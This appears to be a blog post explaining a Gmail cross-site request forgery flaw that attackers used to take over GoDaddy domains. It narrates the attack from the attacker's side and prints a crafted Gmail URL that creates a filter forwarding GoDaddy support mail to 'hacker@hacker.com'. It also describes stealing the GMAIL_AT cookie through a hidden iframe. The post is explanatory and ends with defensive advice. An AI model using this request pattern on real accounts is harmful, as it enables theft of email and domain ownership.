Is it possible for someone to create a malicious filter without having access to your Gmail username and password? No, however they can force you to create the filter without your knowledge.
The blogosphere is buzzing about a Gmail Security Flaw that has caused some people to lose their domain names registered through GoDaddy.
To understand how this exploit works let me first explain how I would carry it out (if I were a blackhat). Then we can move on and explain the exploit in detail. Let’s use a current example and assume that I was trying to steal MakeUseOf.com and I already knew it was registered by GoDaddy. Let’s also assume that I knew the owner’s Gmail address. I would want to create a filter like the one in the image above, where all email sent from GoDaddy Support was automatically deleted and forwarded to my email address.
Once the filter was setup I would simply head on over to GoDaddy’s Customer Number Retrieval page and enter a little info.
Once I press continue an email is sent to the domain owner’s email address but since I’ve setup a filter he never sees it in his inbox. Instead, it is sent to the trash and forwarded to my email address. With the GoDaddy Account Number I can now proceed to the GoDaddy Password Retrieval page.
Once again I simply press continue and an email containing an Authorization Code is sent the the owner’s email address but the filter deletes it immediately and forwards it on to me. I now have the ability to take over this person’s GoDaddy account and transfer MakeUseOf.com or any domain within that account to my registrar.
http://mail.google.com/mail/ ?ui=2 &ik=ad7df7dc23 *Unique Account Identifier* &at=xn3j35svndkg48yp2qgmpt99ivcqdc *Session Authorization Key* &view=up &act=cf &rt=h &zx=pjo6fg-k2ljzh&search=cf &cf1_from=support%40godaddy.com &cf2_emc=true&cf2_email=hacker%40hacker.com &cf2_tr=true
Through a process of elimination you can determine the role of each variable. I have highlighted the two most important variables, ik & at. The ik variable is the equivalent of a username, each account has one and it never changes. Obtaining this variable is tricky but possible. I’m not going to tell you how to do it, if you search hard enough online you’ll find out how.
Obtaining the at variable on the other hand can be done by tricking a user into visiting a page that contains malicious code that subsequently steals a cookie from the user called GMAIL_AT which is the same as the at variable, just named differently. Once the cookie is stolen the malicious code creates a hidden iframe with a url containing the variables that authorize Gmail to create a filter for your account.
What Google can do to prevent this attack from resurfacing?
Instead of having the at variable expire after each session, they should have the at variable expire after each request.
Check your filters and make sure that nothing seems out of the ordinary. If you’re using Firefox, you can download an extension called NoScript which helps to prevent you from becoming a victim of one of these attacks. Overall, though, be cautious.
Well… Google has a way of fixing credible threats right away AND unless you’re extremely familiar with manipulating the purpose of software, it’s going to be difficult.